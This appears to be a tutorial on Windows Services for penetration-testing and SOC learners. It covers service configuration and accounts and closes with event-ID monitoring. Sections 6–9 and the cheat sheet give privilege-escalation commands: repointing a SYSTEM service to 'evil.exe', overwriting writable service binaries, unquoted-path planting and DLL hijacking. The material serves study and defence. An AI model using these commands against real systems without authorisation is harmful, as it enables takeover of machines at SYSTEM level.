

Windows Services

Windows Services are background processes that run independently of any logged-in user — the Windows equivalent of Linux daemons. They're central to how Windows operates (networking, printing, updates) and, from a security angle, one of the richest privilege escalation surfaces on any Windows box.

1. What is a Windows Service, Really?

A service is a special type of executable that:

- Runs in the background, no GUI, no logged-in user required
- Can start automatically at boot (before any user logs in)
- Runs under a specific **service account** (SYSTEM, Local Service, Network Service, or a specific user)
- Is managed by the **Service Control Manager (SCM)** — the component that starts, stops, and monitors all services

Every service is registered in the registry under:

```
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
```

This registry key is exactly what defines the service — its executable path, startup type, and the account it runs as.

2. Viewing Services

GUI: `services.msc`

Command Prompt:

```
sc query                                # list all services and t
heir state
sc query state= all                     # explicitly include stop
ped services too
sc qc <ServiceName>                    # query config (binary p
ath, start type, account)
```

Example:

```
sc qc Spooler
```

```
SERVICE_NAME: Spooler
        TYPE               : 110   WIN32_OWN_PROCESS
        START_TYPE          : 2     AUTO_START
        ERROR_CONTROL        : 1     NORMAL
        BINARY_PATH_NAME    : C:\Windows\System32\spoolsv.exe
        SERVICE_START_NAME  : LocalSystem
```

PowerShell:

```
Get-Service                                # list all s
ervices
Get-Service -Name Spooler                  # specific s
ervice
Get-Service | Where-Object {$_.Status -eq "Running"}
Get-WmiObject win32_service | Select-Object Name, StartNam
e, PathName, StartMode
```

`Get-WmiObject win32_service` (or `Get-CimInstance Win32_Service` on newer PowerShell) is more useful than `Get-Service` for security work — it shows the **binary path** and **service account**, which `Get-Service` alone doesn't expose.

3. Service Startup Types

Startup Type	Behavior
Automatic	Starts at boot, before login
Automatic (Delayed Start)	Starts shortly after boot, reduces boot-time load
Manual	Starts only when triggered (by another service, app, or manually)
Disabled	Cannot be started at all until re-enabled

```
Set-Service -Name Spooler -StartupType Manual
```

```
sc config Spooler start= demand      :: manual
sc config Spooler start= disabled
sc config Spooler start= auto
```

(Note the space after `start=` in `sc.exe` syntax — this is a very common syntax trap; `sc` requires that space or it silently fails.)

4. Service Accounts — Who a Service Runs As

This is the single most important security concept for services.

Account	Privilege Level	Notes
LocalSystem (SYSTEM)	Highest local privilege	Most services default to this — huge target for privesc
NetworkService	Limited local rights, network access as computer account	Used for services needing network access without full SYSTEM rights
LocalService	Most restricted, minimal local rights, anonymous on network	Used for low-risk local-only services
Specific user account	Whatever that user has	Sometimes services run as a domain service account — a major AD attack target (Kerberoasting targets these)

Why this matters: if a service runs as SYSTEM, but you (a low-privilege user) can somehow influence what code that service executes, you achieve **privilege escalation to SYSTEM** — this is the entire premise behind most Windows service-based privesc techniques.

```
sc qc Spooler | findstr SERVICE_START_NAME
```

5. Starting, Stopping, Creating Services

```
:: Start / stop / restart
sc start Spooler
sc stop Spooler
net start Spooler
```

```
net stop Spooler
```

:: Create a new **service**

```
sc create MyService binPath= "C:\Tools\myapp.exe" start= au  
to
```

:: Delete a **service**

```
sc delete MyService
```

```
Start-Service -Name Spooler
```

```
Stop-Service -Name Spooler
```

```
Restart-Service -Name Spooler
```

```
New-Service -Name MyService -BinaryPathName "C:\Tools\myap  
p.exe" -StartupType Automatic
```

Security note: creating a service requires **SeCreateServicePrivilege**, typically only held by Administrators — but *modifying* an existing service's binary path is a separate, much more commonly abusable privilege (**SERVICE_CHANGE_CONFIG**), covered below.

6. Service Permissions — Where the Real Privesc Lives

Services have their own ACLs, separate from file-system NTFS permissions — controlling *who can configure/start/stop* the service itself, independent of whether they can write to the underlying binary.

```
:: View service ACL (Sysinternals tool, very commonly used)  
accesschk.exe -uwcqv "Users" *  
accesschk.exe -uwcqv spooler
```

Key permission to look for: **SERVICE_CHANGE_CONFIG** or **SERVICE_ALL_ACCESS** granted to a low-privileged group (like "Users" or "Authenticated Users") on a service that runs as SYSTEM.

If you have **SERVICE_CHANGE_CONFIG** rights on a SYSTEM-level service, you can literally repoint it to your own malicious binary:

```
sc config VulnService binPath= "C:\Users\Public\evil.exe"  
sc stop VulnService  
sc start VulnService
```

When the service starts, `evil.exe` runs **as SYSTEM** — one of the cleanest privilege escalation paths on Windows when it exists.

Automated enumeration (what real assessments actually use):

```
accesschk.exe -uwcqv "Authenticated Users" * -accepteula
```

Or run **WinPEAS / PowerUp** (`Invoke-AllChecks` in PowerUp), which automate exactly this check across every service on the box.

7. Weak Service Binary Permissions (NTFS-Level, Not Service-ACL-Level)

Different from #6 — here the *service ACL* might be fine, but the *file itself* is writable due to weak NTFS permissions:

```
icacls "C:\Program Files\VulnApp\service.exe"
```

If a low-priv user has write access to the actual `.exe` a SYSTEM service points to, you can overwrite it directly with a malicious payload — same outcome as #6, different root cause.

```
:: Full privesc workflow  
icacls "C:\Program Files\VulnApp\service.exe"           :: confir  
m writable  
copy /y evil.exe "C:\Program Files\VulnApp\service.exe"  
sc stop VulnApp  
sc start VulnApp  
:: shell as SYSTEM
```

8. Unquoted Service Path Vulnerability

A classic, frequently-tested Windows privesc technique.

The problem: if a service's binary path contains spaces and isn't wrapped in quotes:

```
C:\Program Files\Vulnerable App\service.exe
```

Windows doesn't know where the actual filename starts — it tries each of these, in order, until one exists:

```
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe
```

If you have **write access** to `C:\` or `C:\Program Files\` (rare but happens with misconfigured permissions), you can drop a malicious `Program.exe` and it executes **before** Windows ever reaches the real intended path.

Finding unquoted paths:

```
wmic service get name,pathname,startmode | findstr /i /v
"C:\Windows" | findstr /i /v ""
```

```
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike
"*`*" -and $_.PathName -like "* *"} | Select-Object
Name, PathName
```

Both `WinPEAS` and `PowerUp`'s `Get-ServiceUnquoted` automate this check.

9. DLL Hijacking via Services

Some services load DLLs from a search path that includes writable directories. If a service loads `needed.dll` and searches `C:\App\` before `C:\Windows\System32\`, and `C:\App\` is writable, you can drop a malicious `needed.dll` there — the service loads and executes your code with the service's privileges.

```
# PowerUp check
Invoke-AllChecks | Select-String "DLL"
```

Less commonly tested than the above two, but worth knowing conceptually — this is the Windows service equivalent of Linux's `LD_PRELOAD` /PATH-hijacking style attacks.

10. Practical Example — Full Service Enumeration Workflow

This mirrors exactly what you'd do manually (before/alongside running WinPEAS) on an OSCP-style box:

```
# 1. List all services and their binary paths + accounts
Get-WmiObject win32_service | Select-Object Name, StartName, PathName, StartMode | Format-Table -AutoSize

# 2. Filter to services NOT running as a built-in low-priv account (more interesting targets)
Get-WmiObject win32_service | Where-Object {$_.StartName -notlike "*LocalService*" -and $_.StartName -notlike "*NetworkService*"}

# 3. Check for unquoted paths with spaces
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "*` `" -and $_.PathName -like "* *"}

# 4. For any interesting service, check binary NTFS permissions
icacls "C:\Path\To\Service.exe"

# 5. Check service-level ACL permissions (needs accesschk.exe)
.\accesschk.exe -uwcqv "Everyone" *
```

11. Blue-Team / SOC Angle — Monitoring Service Changes

Since you're also SOC-focused, know the relevant Windows Event IDs for services:

Event ID	Meaning
7034	Service crashed unexpectedly
7035	Service start/stop request sent
7036	Service entered running/stopped state
7040	Service startup type changed
4697	A service was installed (Security log — high-value for detecting malicious persistence)

Event ID 4697 in particular is a classic detection point — attackers frequently install malicious services for persistence, and this event fires every time, making it a strong SIEM correlation rule (especially when the binary path points somewhere unusual like `C:\Users\Public\` or `%TEMP%`).

```
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4697} -MaxEvents 20
```

12. Quick Comparison — Windows Services vs. Linux Equivalent

Concept	Windows	Linux
Service manager	Service Control Manager (SCM)	systemd / init.d
Config location	Registry (<code>HKLM\SYSTEM\...\Services</code>)	<code>/etc/systemd/system/</code> , <code>/etc/init.d/</code>
List services	<code>sc query</code> , <code>Get-Service</code>	<code>systemctl list-units --type=service</code>
Start/stop	<code>sc start/stop</code> , <code>Start-Service</code>	<code>systemctl start/stop</code>
Privesc via weak perms	Writable binary/service ACL → SYSTEM	Writable service unit file → root (similar concept)
Enumeration tool	WinPEAS, PowerUp, accesschk	LinPEAS, <code>systemctl</code> manual review

Quick Reference Cheat Sheet

```
sc query state= all          :: list all services
```



```
sc qc <name> :: show binary path + account
sc config <name> binPath= "C:\evil.exe" :: repoint binary
(if allowed)
sc start / stop <name> :: control service
accesschk.exe -uwcqv "Users" * :: check service ACL permissions
wmic service get name,pathname,startmode :: hunt unquoted paths
icacls "C:\Path\service.exe" :: check binary file permissions
```

```
Get-WmiObject win32_service | Select-Object Name, StartName, PathName, StartMode
Get-Service | Where-Object {$_.Status -eq "Running"}
Invoke-AllChecks # PowerUp – full automated service privesc check
```